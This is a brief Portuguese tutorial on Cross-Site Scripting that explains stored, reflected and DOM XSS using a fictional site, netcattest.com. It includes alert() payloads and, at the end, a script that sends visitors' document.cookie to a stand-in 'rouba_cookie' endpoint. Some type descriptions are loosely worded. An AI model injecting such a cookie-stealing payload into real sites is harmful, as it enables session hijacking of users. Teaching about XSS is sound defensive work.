O que é XSS? Cross-Site Scripting (XSS) é uma vulnerabilidade de segurança que permite que um atacante injete código HTML ou JavaScript em uma página web. Esse código malicioso pode alterar o conteúdo ou comportamento da página, e roubar informações sensíveis dos usuários que a acessam.
Como funciona? Imagine o site netcattest.com
, que possui um campo de pesquisa em netcattest.com/busca
. Quando um usuário faz uma pesquisa, a URL pode ser alterada para algo como https://netcattest.com/aula/33
, indicando que a aula 33 foi acessada. Se a página netcattest.com/busca
estiver vulnerável, um atacante pode injetar um script malicioso que será executado quando um usuário acessar essa URL.
XSS Armazenado |
XSS Refletido |
XSS DOM |
Tipos de XSS:
XSS Armazenado:
O atacante envia um script malicioso para a aplicação web.
O script é armazenado no servidor e executado quando o usuário acessa o conteúdo.
Exemplo famoso: alert('Você foi hackeado, pelo gato!');
XSS Refletido:
O atacante descobre uma vulnerabilidade e injeta um script malicioso no site vulnerável.
O script rouba informações, como cookies de sessão, e as envia para o atacante.
Exemplo de código:
<script>alert('Você foi hackeado!');</script>
XSS DOM:
O atacante cria uma URL contendo um script malicioso e a envia para a vítima.
A vítima acessa a URL e o navegador executa o script malicioso.
O site recebe a solicitação, mas não inclui o script na resposta; o navegador da vítima o executa.
Exemplo prático: Suponha que netcattest.com/busca
esteja vulnerável a XSS. Um atacante pode injetar o seguinte código:
<script>document.write('<img src="
http://netcattest.com/rouba
_cookie?' + document.cookie + '">');</script>
Quando um usuário acessar a página, o script será executado e enviará os cookies do usuário para o atacante.